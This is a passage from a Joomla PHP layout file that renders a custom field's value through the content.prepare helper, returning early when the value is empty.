 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;

$value = $field->value;

if ($value == '') {
    return;
}

echo HTMLHelper::_('content.prepare', $value);